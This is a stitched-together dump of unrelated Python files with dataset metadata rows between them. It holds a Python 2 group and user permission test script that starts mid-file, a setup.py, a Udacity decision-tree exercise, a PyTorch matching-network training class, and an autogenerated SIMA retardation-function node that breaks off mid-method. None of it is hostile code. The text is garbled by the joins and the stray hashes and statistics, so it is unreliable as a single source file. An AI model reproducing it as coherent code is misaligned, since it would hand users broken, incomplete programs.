print "FAILED!!!!!!!!"
sys.exit()
print "\n\n#### user (github user)"
print "\n# try creating a group"
try:
group_controller.create(dummy_access_token, "should be failed")
print "FAILED!!!!!!!!"
sys.exit()
except:
print True
print "\n# list groups"
items6 = group_controller.find(dummy_access_token, {})
ret = len(items6) == 1
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n\n\n##############################################################################"
print "# UserGroup"
print "##############################################################################"
from porper.controllers.user_controller import UserController
user_controller = UserController(dynamodb)
from porper.controllers.group_controller import GroupController
group_controller = GroupController(dynamodb)
print "\n\n#### admin (google user)"
print "\n# find user_id of google user"
users = user_controller.find(google_access_token, {'auth_type': 'google'})
ret = len(users) == 1 and users[0]['auth_type'] == 'google'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
google_user_id = users[0]['id']
print "\n# find user_id of github user"
users = user_controller.find(google_access_token, {'auth_type': 'github'})
ret = len(users) == 1 and users[0]['auth_type'] == 'github'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
github_user_id = users[0]['id']
print "\n# find user_id of dummy user"
users = user_controller.find(google_access_token, {'auth_type': 'slack'})
ret = len(users) == 1 and users[0]['auth_type'] == 'slack'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
dummy_user_id = users[0]['id']
print "\n# find groups"
all_groups = group_controller.find(google_access_token, {})
admin_group_id = [ group for group in all_groups if group['name'] == 'admin'][0]['id']
print admin_group_id
public_group_id = [ group for group in all_groups if group['name'] == 'public'][0]['id']
print public_group_id
print "\n# find all groups of google user"
google_groups = group_controller.find(google_access_token, {'user_id': google_user_id})
ret = len(google_groups) == 1 and google_groups[0]['name'] == 'admin'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# find all groups of google user"
github_groups = group_controller.find(google_access_token, {'user_id': github_user_id})
ret = len(github_groups) == 1 and github_groups[0]['name'] == 'public'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# find all users of admin group"
admin_users = user_controller.find(google_access_token, {'group_id': admin_group_id})
ret = len(admin_users) == 1 and admin_users[0]['auth_type'] == 'google'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# find all users of public group"
public_users = user_controller.find(google_access_token, {'group_id': public_group_id})
ret = len(public_users) == 2 and 'github' in [ public_user['auth_type'] for public_user in public_users ] and 'slack' in [ public_user['auth_type'] for public_user in public_users ]
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n\n#### group admin (github user)"
print "\n# find all groups of google user"
google_groups = group_controller.find(github_access_token, {'user_id': google_user_id})
ret = len(google_groups) == 0
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# find all groups of google user"
github_groups = group_controller.find(github_access_token, {'user_id': github_user_id})
ret = len(github_groups) == 1 and github_groups[0]['name'] == 'public'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
github_groups = group_controller.find(github_access_token, {})
ret = len(github_groups) == 1 and github_groups[0]['name'] == 'public'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# find all users of admin group"
admin_users = user_controller.find(github_access_token, {'group_id': admin_group_id})
ret = len(admin_users) == 0
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# find all users of public group"
public_users = user_controller.find(github_access_token, {'group_id': public_group_id})
ret = len(public_users) == 2 and 'github' in [ public_user['auth_type'] for public_user in public_users ] and 'slack' in [ public_user['auth_type'] for public_user in public_users ]
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
public_users = user_controller.find(github_access_token, {})
ret = len(public_users) == 2 and 'github' in [ public_user['auth_type'] for public_user in public_users ] and 'slack' in [ public_user['auth_type'] for public_user in public_users ]
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n\n\nCOMPLETED!!!!"
| 36.092593 | 207 | 0.673063 | 1,307 | 9,745 | 4.79189 | 0.087223 | 0.070254 | 0.046942 | 0.060354 | 0.764011 | 0.718506 | 0.672521 | 0.661664 | 0.592687 | 0.573367 | 0 | 0.012017 | 0.137506 | 9,745 | 269 | 208 | 36.226766 | 0.733135 | 0.001539 | 0 | 0.519481 | 0 | 0.004329 | 0.31942 | 0.062095 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.060606 | null | null | 0.277056 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
28c70b5b0b43c422375c7f375b0040d926d0d780 | 262 | py | Python | setup.py | kusumikakd/Real_time_seizurecast | e7c186d8116d16d6a03bb42e943c3af86b489d81 | [
"MIT"
] | null | null | null | setup.py | kusumikakd/Real_time_seizurecast | e7c186d8116d16d6a03bb42e943c3af86b489d81 | [
"MIT"
] | null | null | null | setup.py | kusumikakd/Real_time_seizurecast | e7c186d8116d16d6a03bb42e943c3af86b489d81 | [
"MIT"
] | 2 | 2021-01-22T06:58:08.000Z | 2021-11-27T05:11:16.000Z | from setuptools import find_packages, setup
setup(
name='seizurecast',
packages=find_packages(),
version='0.1.0',
description='ReReal-time forecasting epileptic seizure using electroencephalogram',
author='Yanxian Lin',
license='MIT',
)
| 23.818182 | 87 | 0.717557 | 29 | 262 | 6.413793 | 0.827586 | 0.129032 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013761 | 0.167939 | 262 | 10 | 88 | 26.2 | 0.83945 | 0 | 0 | 0 | 0 | 0 | 0.374046 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.111111 | 0 | 0.111111 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
28d057d5c5ade01a5e435d0ab07bd2f7e07e3021 | 765 | py | Python | intro_to_machine_learning/lesson/lesson_3_decision_trees/studentMain.py | robinl3680/udacity-course | 308daf62479f9bf6f4256eb19313631f1bb4c5da | [
"MIT"
] | 68 | 2016-07-28T07:24:57.000Z | 2021-10-09T19:28:48.000Z | intro_to_machine_learning/lesson/lesson_3_decision_trees/studentMain.py | robinl3680/udacity-course | 308daf62479f9bf6f4256eb19313631f1bb4c5da | [
"MIT"
] | null | null | null | intro_to_machine_learning/lesson/lesson_3_decision_trees/studentMain.py | robinl3680/udacity-course | 308daf62479f9bf6f4256eb19313631f1bb4c5da | [
"MIT"
] | 105 | 2016-10-19T03:56:33.000Z | 2022-03-15T02:12:08.000Z | # -*- coding: utf-8 -*-
"""
Created on Sat Nov 29 18:17:20 2014
@author: tvu
"""
#!/usr/bin/python
""" lecture and example code for decision tree unit """
import sys
from class_vis import prettyPicture, output_image
from prep_terrain_data import makeTerrainData
import matplotlib.pyplot as plt
import numpy as np
import pylab as pl
from classifyDT import classify
features_train, labels_train, features_test, labels_test = makeTerrainData()
### the classify() function in classifyDT is where the magic
### happens--it's your job to fill this in!
clf = classify(features_train, labels_train)
#### grader code, do not modify below this line
prettyPicture(clf, features_test, labels_test)
output_image("test.png", "png", open("test.png", "rb").read())
| 20.131579 | 76 | 0.742484 | 114 | 765 | 4.868421 | 0.666667 | 0.03964 | 0.075676 | 0.097297 | 0.115315 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019969 | 0.14902 | 765 | 37 | 77 | 20.675676 | 0.832565 | 0.298039 | 0 | 0 | 0 | 0 | 0.045356 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.636364 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
28e013a3e4c67d85c286a9db84fbae2f82f14fa0 | 24,653 | py | Python | experiments/OneShotBuilder.py | EmptyOps/MatchingNetworks | b3965355370fa8a4161a66a8d98b392d2950f215 | [
"MIT"
] | null | null | null | experiments/OneShotBuilder.py | EmptyOps/MatchingNetworks | b3965355370fa8a4161a66a8d98b392d2950f215 | [
"MIT"
] | null | null | null | experiments/OneShotBuilder.py | EmptyOps/MatchingNetworks | b3965355370fa8a4161a66a8d98b392d2950f215 | [
"MIT"
] | null | null | null | ##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
## Created by: Albert Berenguel
## Computer Vision Center (CVC). Universitat Autonoma de Barcelona
## Email: aberenguel@cvc.uab.es
## Copyright (c) 2017
##
## This source code is licensed under the MIT-style license found in the
## LICENSE file in the root directory of this source tree
##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
import torch
import torch.backends.cudnn as cudnn
import tqdm
from models.MatchingNetwork import MatchingNetwork
from torch.autograd import Variable
import os
class OneShotBuilder:
def __init__(self, data, model_path="", model_save_path=""):
"""
Initializes an OneShotBuilder object. The OneShotBuilder object takes care of setting up our experiment
and provides helper functions such as run_training_epoch and run_validation_epoch to simplify out training
and evaluation procedures.
:param data: A data provider class
"""
self.data = data
self.model_path = model_path
self.model_save_path = model_save_path
def build_experiment(self, batch_size, classes_per_set, samples_per_class, channels, fce, image_size = 28, layer_size = 1600,
is_use_lstm_layer=False, vector_dim = None, num_layers=1, dropout=-1, is_use_second_lstm = False, is_do_train_logging=True, is_do_train_logging_conditionally=True):
"""
:param batch_size: The experiment batch size
:param classes_per_set: An integer indicating the number of classes per support set
:param samples_per_class: An integer indicating the number of samples per class
:param channels: The image channels
:param fce: Whether to use full context embeddings or not
:return: a matching_network object, along with the losses, the training ops and the init op
"""
self.classes_per_set = classes_per_set
self.samples_per_class = samples_per_class
self.keep_prob = torch.FloatTensor(1)
self.isCudaAvailable = torch.cuda.is_available()
if not os.path.exists(self.model_path):
self.matchingNet = MatchingNetwork(batch_size=batch_size,
keep_prob=self.keep_prob, num_channels=channels,
fce=fce,
num_classes_per_set=classes_per_set,
num_samples_per_class=samples_per_class,
nClasses = 0, image_size = image_size, layer_size = layer_size,
is_use_lstm_layer=is_use_lstm_layer, vector_dim = vector_dim,
num_layers=num_layers, dropout=dropout, model_path=self.model_path,
is_use_second_lstm=is_use_second_lstm, is_do_train_logging=is_do_train_logging, is_do_train_logging_conditionally=is_do_train_logging_conditionally)
else:
if self.isCudaAvailable:
self.matchingNet = torch.load(self.model_path)
else:
self.matchingNet = torch.load(self.model_path, map_location=torch.device('cpu'))
self.matchingNet.is_do_train_logging = is_do_train_logging
self.matchingNet.is_do_train_logging_conditionally = is_do_train_logging_conditionally
self.optimizer = 'adam'
self.lr = 1e-03
self.current_lr = 1e-03
self.lr_decay = 1e-6
self.wd = 1e-4
self.total_train_iter = 0
if self.isCudaAvailable:
cudnn.benchmark = True
torch.cuda.manual_seed_all(0)
self.matchingNet.cuda()
def load_model(self):
self.matchingNet = torch.load(self.model_path)
def save_model(self, epoch):
torch.save(self.matchingNet, self.model_save_path.replace('EPOCH', str(epoch)))
def run_training_epoch(self, total_train_batches, epoch=-1):
"""
Runs one training epoch
:param total_train_batches: Number of batches to train on
:return: mean_training_categorical_crossentropy_loss and mean_training_accuracy
"""
total_c_loss = 0.
total_accuracy = 0.
# Create the optimizer
optimizer = self.__create_optimizer(self.matchingNet, self.lr)
with tqdm.tqdm(total=total_train_batches) as pbar:
for i in range(total_train_batches): # train epoch
x_support_set, y_support_set, x_target, y_target, support_set_y_actuals, target_y_actuals = \
self.data.get_batch_training(str_type = 'train',rotate_flag = True)
x_support_set = Variable(torch.from_numpy(x_support_set)).float()
y_support_set = Variable(torch.from_numpy(y_support_set),requires_grad=False).long()
x_target = Variable(torch.from_numpy(x_target)).float()
y_target = Variable(torch.from_numpy(y_target),requires_grad=False).long()
# y_support_set: Add extra dimension for the one_hot
y_support_set = torch.unsqueeze(y_support_set, 2)
sequence_length = y_support_set.size()[1]
batch_size = y_support_set.size()[0]
y_support_set_one_hot = torch.FloatTensor(batch_size, sequence_length,
self.classes_per_set).zero_()
y_support_set_one_hot.scatter_(2, y_support_set.data, 1)
y_support_set_one_hot = Variable(y_support_set_one_hot)
# Reshape channels
size = x_support_set.size()
x_support_set = x_support_set.view(size[0],size[1],size[4],size[2],size[3])
size = x_target.size()
x_target = x_target.view(size[0],size[1],size[4],size[2],size[3])
if self.isCudaAvailable:
acc, c_loss_value, _ = self.matchingNet(x_support_set.cuda(), y_support_set_one_hot.cuda(),
x_target.cuda(), y_target.cuda(), epoch = epoch,
target_y_actuals = target_y_actuals,
support_set_y_actuals = support_set_y_actuals )
else:
acc, c_loss_value, _ = self.matchingNet(x_support_set, y_support_set_one_hot,
x_target, y_target, epoch = epoch,
target_y_actuals = target_y_actuals,
support_set_y_actuals = support_set_y_actuals)
# Before the backward pass, use the optimizer object to zero all of the
# gradients for the variables it will update (which are the learnable weights
# of the model)
optimizer.zero_grad()
# Backward pass: compute gradient of the loss with respect to model parameters
c_loss_value.backward()
# Calling the step function on an Optimizer makes an update to its parameters
optimizer.step()
# update the optimizer learning rate
self.__adjust_learning_rate(optimizer)
#iter_out = "tr_loss: {}, tr_accuracy: {}".format(c_loss_value.data[0], acc.data[0])
iter_out = "tr_loss: {}, tr_accuracy: {}".format(c_loss_value.data, acc.data)
pbar.set_description(iter_out)
pbar.update(1)
total_c_loss += c_loss_value.data #c_loss_value.data[0]
total_accuracy += acc.data #acc.data[0]
self.total_train_iter += 1
if self.total_train_iter % 2000 == 0:
self.lr /= 2
print("change learning rate", self.lr)
total_c_loss = total_c_loss / total_train_batches
total_accuracy = total_accuracy / total_train_batches
return total_c_loss, total_accuracy
def run_validation_epoch(self, total_val_batches):
"""
Runs one validation epoch
:param total_val_batches: Number of batches to train on
:return: mean_validation_categorical_crossentropy_loss and mean_validation_accuracy
"""
total_val_c_loss = 0.
total_val_accuracy = 0.
with tqdm.tqdm(total=total_val_batches) as pbar:
for i in range(total_val_batches): # validation epoch
x_support_set, y_support_set, x_target, y_target = \
self.data.get_batch(str_type='val', rotate_flag=False)
x_support_set = Variable(torch.from_numpy(x_support_set), volatile=True).float()
y_support_set = Variable(torch.from_numpy(y_support_set), volatile=True).long()
x_target = Variable(torch.from_numpy(x_target), volatile=True).float()
y_target = Variable(torch.from_numpy(y_target), volatile=True).long()
# y_support_set: Add extra dimension for the one_hot
y_support_set = torch.unsqueeze(y_support_set, 2)
sequence_length = y_support_set.size()[1]
batch_size = y_support_set.size()[0]
y_support_set_one_hot = torch.FloatTensor(batch_size, sequence_length,
self.classes_per_set).zero_()
y_support_set_one_hot.scatter_(2, y_support_set.data, 1)
y_support_set_one_hot = Variable(y_support_set_one_hot)
# Reshape channels
size = x_support_set.size()
x_support_set = x_support_set.view(size[0], size[1], size[4], size[2], size[3])
size = x_target.size()
x_target = x_target.view(size[0],size[1],size[4],size[2],size[3])
if self.isCudaAvailable:
acc, c_loss_value, _ = self.matchingNet(x_support_set.cuda(), y_support_set_one_hot.cuda(),
x_target.cuda(), y_target.cuda())
else:
acc, c_loss_value, _ = self.matchingNet(x_support_set, y_support_set_one_hot,
x_target, y_target)
#iter_out = "val_loss: {}, val_accuracy: {}".format(c_loss_value.data[0], acc.data[0])
iter_out = "val_loss: {}, val_accuracy: {}".format(c_loss_value.data, acc.data)
pbar.set_description(iter_out)
pbar.update(1)
total_val_c_loss += c_loss_value.data #c_loss_value.data[0]
total_val_accuracy += acc.data #acc.data[0]
total_val_c_loss = total_val_c_loss / total_val_batches
total_val_accuracy = total_val_accuracy / total_val_batches
return total_val_c_loss, total_val_accuracy
def run_testing_epoch(self, total_test_batches):
"""
Runs one testing epoch
:param total_test_batches: Number of batches to train on
:param sess: Session object
:return: mean_testing_categorical_crossentropy_loss and mean_testing_accuracy
"""
total_test_c_loss = 0.
total_test_accuracy = 0.
with tqdm.tqdm(total=total_test_batches) as pbar:
for i in range(total_test_batches):
x_support_set, y_support_set, x_target, y_target = \
self.data.get_batch(str_type='test', rotate_flag=False)
x_support_set = Variable(torch.from_numpy(x_support_set), volatile=True).float()
y_support_set = Variable(torch.from_numpy(y_support_set), volatile=True).long()
x_target = Variable(torch.from_numpy(x_target), volatile=True).float()
y_target = Variable(torch.from_numpy(y_target), volatile=True).long()
# y_support_set: Add extra dimension for the one_hot
y_support_set = torch.unsqueeze(y_support_set, 2)
sequence_length = y_support_set.size()[1]
batch_size = y_support_set.size()[0]
y_support_set_one_hot = torch.FloatTensor(batch_size, sequence_length,
self.classes_per_set).zero_()
y_support_set_one_hot.scatter_(2, y_support_set.data, 1)
y_support_set_one_hot = Variable(y_support_set_one_hot)
# Reshape channels
size = x_support_set.size()
x_support_set = x_support_set.view(size[0], size[1], size[4], size[2], size[3])
size = x_target.size()
x_target = x_target.view(size[0],size[1],size[4],size[2],size[3])
if self.isCudaAvailable:
acc, c_loss_value, _ = self.matchingNet(x_support_set.cuda(), y_support_set_one_hot.cuda(),
x_target.cuda(), y_target.cuda())
else:
acc, c_loss_value, _ = self.matchingNet(x_support_set, y_support_set_one_hot,
x_target, y_target)
#iter_out = "test_loss: {}, test_accuracy: {}".format(c_loss_value.data[0], acc.data[0])
iter_out = "test_loss: {}, test_accuracy: {}".format(c_loss_value.data, acc.data)
pbar.set_description(iter_out)
pbar.update(1)
total_test_c_loss += c_loss_value.data #c_loss_value.data[0]
total_test_accuracy += acc.data #acc.data[0]
total_test_c_loss = total_test_c_loss / total_test_batches
total_test_accuracy = total_test_accuracy / total_test_batches
return total_test_c_loss, total_test_accuracy
def run_time_predictions(self, total_test_batches, is_debug = False):
"""
Runs one testing epoch
:param total_test_batches: Number of batches to train on
:param sess: Session object
:return: mean_testing_categorical_crossentropy_loss and mean_testing_accuracy
"""
total_test_c_loss = 0.
total_test_accuracy = 0.
with tqdm.tqdm(total=total_test_batches) as pbar:
for i in range(total_test_batches):
x_support_set, y_support_set, x_target, y_target = \
self.data.get_batch_custom(str_type='x_to_be_predicted', cls=0, rotate_flag=False)
x_support_set = Variable(torch.from_numpy(x_support_set), volatile=True).float()
y_support_set = Variable(torch.from_numpy(y_support_set), volatile=True).long()
x_target = Variable(torch.from_numpy(x_target), volatile=True).float()
y_target = Variable(torch.from_numpy(y_target), volatile=True).long()
# y_support_set: Add extra dimension for the one_hot
y_support_set = torch.unsqueeze(y_support_set, 2)
sequence_length = y_support_set.size()[1]
batch_size = y_support_set.size()[0]
y_support_set_one_hot = torch.FloatTensor(batch_size, sequence_length,
self.classes_per_set).zero_()
y_support_set_one_hot.scatter_(2, y_support_set.data, 1)
y_support_set_one_hot = Variable(y_support_set_one_hot)
# Reshape channels
size = x_support_set.size()
x_support_set = x_support_set.view(size[0], size[1], size[4], size[2], size[3])
size = x_target.size()
x_target = x_target.view(size[0],size[1],size[4],size[2],size[3])
if self.isCudaAvailable:
acc, c_loss_value, _ = self.matchingNet(x_support_set.cuda(), y_support_set_one_hot.cuda(),
x_target.cuda(), y_target.cuda(), is_debug )
else:
acc, c_loss_value, _ = self.matchingNet(x_support_set, y_support_set_one_hot,
x_target, y_target, is_debug )
if is_debug == True:
#iter_out = "test_loss: {}, test_accuracy: {}".format(c_loss_value.data[0], acc.data[0])
iter_out = "test_loss: {}, test_accuracy: {}".format(c_loss_value.data, acc.data)
pbar.set_description(iter_out)
pbar.update(1)
total_test_c_loss += c_loss_value.data #c_loss_value.data[0]
total_test_accuracy += acc.data #acc.data[0]
total_test_c_loss = total_test_c_loss / total_test_batches
total_test_accuracy = total_test_accuracy / total_test_batches
return total_test_c_loss, total_test_accuracy
def run_evaluation(self, total_test_batches, is_debug = False):
"""
Runs one testing epoch
:param total_test_batches: Number of batches to train on
:param sess: Session object
:return: mean_testing_categorical_crossentropy_loss and mean_testing_accuracy
"""
for i in range(total_test_batches):
x_support_set, y_support_set, x_target, y_target, target_y_actuals = \
self.data.get_batch_evaluation(str_type='evaluation', cls=0, rotate_flag=False)
x_support_set = Variable(torch.from_numpy(x_support_set), volatile=True).float()
y_support_set = Variable(torch.from_numpy(y_support_set), volatile=True).long()
x_target = Variable(torch.from_numpy(x_target), volatile=True).float()
y_target = Variable(torch.from_numpy(y_target), volatile=True).long()
# y_support_set: Add extra dimension for the one_hot
y_support_set = torch.unsqueeze(y_support_set, 2)
sequence_length = y_support_set.size()[1]
batch_size = y_support_set.size()[0]
y_support_set_one_hot = torch.FloatTensor(batch_size, sequence_length,
self.classes_per_set).zero_()
y_support_set_one_hot.scatter_(2, y_support_set.data, 1)
y_support_set_one_hot = Variable(y_support_set_one_hot)
# Reshape channels
size = x_support_set.size()
x_support_set = x_support_set.view(size[0], size[1], size[4], size[2], size[3])
size = x_target.size()
x_target = x_target.view(size[0],size[1],size[4],size[2],size[3])
if self.isCudaAvailable:
acc, c_loss_value, pred_indices = self.matchingNet(x_support_set.cuda(), y_support_set_one_hot.cuda(),
x_target.cuda(), y_target.cuda(), is_debug = False, is_evaluation_only = False, y_support_set_org = y_support_set, target_y_actuals = target_y_actuals )
else:
acc, c_loss_value, pred_indices = self.matchingNet(x_support_set, y_support_set_one_hot,
x_target, y_target, is_debug = is_debug, is_evaluation_only = False, y_support_set_org = y_support_set, target_y_actuals = target_y_actuals )
if is_debug == True:
#iter_out = "test_loss: {}, test_accuracy: {}".format(c_loss_value.data[0], acc.data[0])
print( "test_loss: {}, test_accuracy: {}".format(c_loss_value.data, acc.data) )
return c_loss_value, acc, x_support_set, y_support_set_one_hot, x_target, y_target, target_y_actuals, pred_indices
def predict(self, total_test_batches, is_debug = False, support_set_images_shape_1_ = -1):
"""
Runs one testing epoch
:param total_test_batches: Number of batches to train on
:param sess: Session object
:return: mean_testing_categorical_crossentropy_loss and mean_testing_accuracy
"""
for i in range(total_test_batches):
x = self.data.get_batch_predict(str_type='evaluation')
x_support_set, y_support_set, x_target, y_target, target_y_actuals = \
self.data.get_batch_evaluation(str_type='evaluation', cls=0, rotate_flag=False)
if is_debug:
print( "y_support_set" )
print( y_support_set )
#x = Variable(torch.from_numpy(x), volatile=True).float()
x_support_set = Variable(torch.from_numpy(x_support_set), volatile=True).float()
y_support_set = Variable(torch.from_numpy(y_support_set), volatile=True).long()
x_target = Variable(torch.from_numpy(x_target), volatile=True).float()
y_target = Variable(torch.from_numpy(y_target), volatile=True).long()
# y_support_set: Add extra dimension for the one_hot
y_support_set = torch.unsqueeze(y_support_set, 2)
sequence_length = y_support_set.size()[1]
batch_size = y_support_set.size()[0]
y_support_set_one_hot = torch.FloatTensor(batch_size, sequence_length,
self.classes_per_set).zero_()
y_support_set_one_hot.scatter_(2, y_support_set.data, 1)
y_support_set_one_hot = Variable(y_support_set_one_hot)
if is_debug:
print( y_support_set )
print( y_support_set_one_hot )
# Reshape channels
size = x.shape
x = x.reshape(size[0], size[1], size[4], size[2], size[3])
size = x_support_set.size()
x_support_set = x_support_set.view(size[0], size[1], size[4], size[2], size[3])
size = x_target.size()
x_target = x_target.view(size[0],size[1],size[4],size[2],size[3])
if self.isCudaAvailable:
acc, c_loss_value, pred_indices, emcllcls, emcllclsl, emclvlcls, emclvlclsl, open_match_cnt, open_match_mpr = self.matchingNet.predict(x, y_support_set_one_hot.cuda(),
x_target, y_target.cuda(), is_debug = is_debug, is_evaluation_only = False, y_support_set_org = y_support_set, target_y_actuals = target_y_actuals, support_set_images_shape_1_ = support_set_images_shape_1_ )
else:
acc, c_loss_value, pred_indices, emcllcls, emcllclsl, emclvlcls, emclvlclsl, open_match_cnt, open_match_mpr = self.matchingNet.predict(x, y_support_set_one_hot,
x_target, y_target, is_debug = is_debug, is_evaluation_only = False, y_support_set_org = y_support_set, target_y_actuals = target_y_actuals, support_set_images_shape_1_ = support_set_images_shape_1_ )
if is_debug == True:
#iter_out = "test_loss: {}, test_accuracy: {}".format(c_loss_value.data[0], acc.data[0])
print( "test_loss: {}, test_accuracy: {}".format(c_loss_value.data, acc.data) )
return c_loss_value, acc, x_support_set, y_support_set_one_hot, x_target, y_target, target_y_actuals, pred_indices, emcllcls, emcllclsl, emclvlcls, emclvlclsl, open_match_cnt, open_match_mpr
def __adjust_learning_rate(self,optimizer):
"""Updates the learning rate given the learning rate decay.
The routine has been implemented according to the original Lua SGD optimizer
"""
for group in optimizer.param_groups:
if 'step' not in group:
group['step'] = 0
group['step'] += 1
group['lr'] = self.lr / (1 + group['step'] * self.lr_decay)
def __create_optimizer(self,model, new_lr):
# setup optimizer
if self.optimizer == 'sgd':
optimizer = torch.optim.SGD(model.parameters(), lr=new_lr,
momentum=0.9, dampening=0.9,
weight_decay=self.wd)
elif self.optimizer == 'adam':
optimizer = torch.optim.Adam(model.parameters(), lr=new_lr,
weight_decay=self.wd)
else:
raise Exception('Not supported optimizer: {0}'.format(self.optimizer))
return optimizer | 56.414188 | 260 | 0.595222 | 3,100 | 24,653 | 4.355806 | 0.092903 | 0.120714 | 0.084722 | 0.040435 | 0.737984 | 0.715989 | 0.695623 | 0.677849 | 0.668 | 0.654003 | 0 | 0.010533 | 0.314485 | 24,653 | 437 | 261 | 56.414188 | 0.788462 | 0.154302 | 0 | 0.586806 | 0 | 0 | 0.016816 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.020833 | 0 | 0.090278 | 0.024306 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e910aa442239c059d7dc59f1fd1d61b34db6b929 | 7,461 | py | Python | src/sima/hydro/retardationfunctioncalculationnode.py | SINTEF/simapy | 650b8c2f15503dad98e2bfc0d0788509593822c7 | [
"MIT"
] | null | null | null | src/sima/hydro/retardationfunctioncalculationnode.py | SINTEF/simapy | 650b8c2f15503dad98e2bfc0d0788509593822c7 | [
"MIT"
] | null | null | null | src/sima/hydro/retardationfunctioncalculationnode.py | SINTEF/simapy | 650b8c2f15503dad98e2bfc0d0788509593822c7 | [
"MIT"
] | null | null | null | # This an autogenerated file
#
# Generated with RetardationFunctionCalculationNode
from typing import Dict,Sequence,List
from dmt.entity import Entity
from dmt.blueprint import Blueprint
from .blueprints.retardationfunctioncalculationnode import RetardationFunctionCalculationNodeBlueprint
from typing import Dict
from sima.post.controlsignalinputslot import ControlSignalInputSlot
from sima.post.inputslot import InputSlot
from sima.post.outputslot import OutputSlot
from sima.post.runnode import RunNode
from sima.sima.scriptablevalue import ScriptableValue
class RetardationFunctionCalculationNode(RunNode):
"""
Keyword arguments
-----------------
name : str
(default "")
description : str
(default "")
_id : str
(default "")
scriptableValues : List[ScriptableValue]
x : int
(default 0)
y : int
(default 0)
h : int
(default 0)
w : int
(default 0)
controlSignalInputSlots : List[ControlSignalInputSlot]
radiationData : InputSlot
structuralMass : InputSlot
extraDamping : InputSlot
outputSlot : OutputSlot
timeStep : float
Retardation function timeStep(default 0.5)
powerOfTwo : int
Length of array used for fft/ifft. Default 2**13.(default 13)
cutFactor : float
factor for cut of fft. Default 200(default 200.0)
useStructuralMass : bool
Use structural mass together with a cut factor for removing certain degrees of freedom(default True)
massCutFactor : float
Factor used together with structural mass to cut a degree of freedom. Small factor means larger chance of cutting(default 100000.0)
"""
def __init__(self , name="", description="", _id="", x=0, y=0, h=0, w=0, timeStep=0.5, powerOfTwo=13, cutFactor=200.0, useStructuralMass=True, massCutFactor=100000.0, **kwargs):
super().__init__(**kwargs)
self.name = name
self.description = description
self._id = _id
self.scriptableValues = list()
self.x = x
self.y = y
self.h = h
self.w = w
self.controlSignalInputSlots = list()
self.radiationData = None
self.structuralMass = None
self.extraDamping = None
self.outputSlot = None
self.timeStep = timeStep
self.powerOfTwo = powerOfTwo
self.cutFactor = cutFactor
self.useStructuralMass = useStructuralMass
self.massCutFactor = massCutFactor
for key, value in kwargs.items():
if not isinstance(value, Dict):
setattr(self, key, value)
@property
def blueprint(self) -> Blueprint:
"""Return blueprint that this entity represents"""
return RetardationFunctionCalculationNodeBlueprint()
@property
def name(self) -> str:
""""""
return self.__name
@name.setter
def name(self, value: str):
"""Set name"""
self.__name = str(value)
@property
def description(self) -> str:
""""""
return self.__description
@description.setter
def description(self, value: str):
"""Set description"""
self.__description = str(value)
@property
def _id(self) -> str:
""""""
return self.___id
@_id.setter
def _id(self, value: str):
"""Set _id"""
self.___id = str(value)
@property
def scriptableValues(self) -> List[ScriptableValue]:
""""""
return self.__scriptableValues
@scriptableValues.setter
def scriptableValues(self, value: List[ScriptableValue]):
"""Set scriptableValues"""
if not isinstance(value, Sequence):
raise Exception("Expected sequense, but was " , type(value))
self.__scriptableValues = value
@property
def x(self) -> int:
""""""
return self.__x
@x.setter
def x(self, value: int):
"""Set x"""
self.__x = int(value)
@property
def y(self) -> int:
""""""
return self.__y
@y.setter
def y(self, value: int):
"""Set y"""
self.__y = int(value)
@property
def h(self) -> int:
""""""
return self.__h
@h.setter
def h(self, value: int):
"""Set h"""
self.__h = int(value)
@property
def w(self) -> int:
""""""
return self.__w
@w.setter
def w(self, value: int):
"""Set w"""
self.__w = int(value)
@property
def controlSignalInputSlots(self) -> List[ControlSignalInputSlot]:
""""""
return self.__controlSignalInputSlots
@controlSignalInputSlots.setter
def controlSignalInputSlots(self, value: List[ControlSignalInputSlot]):
"""Set controlSignalInputSlots"""
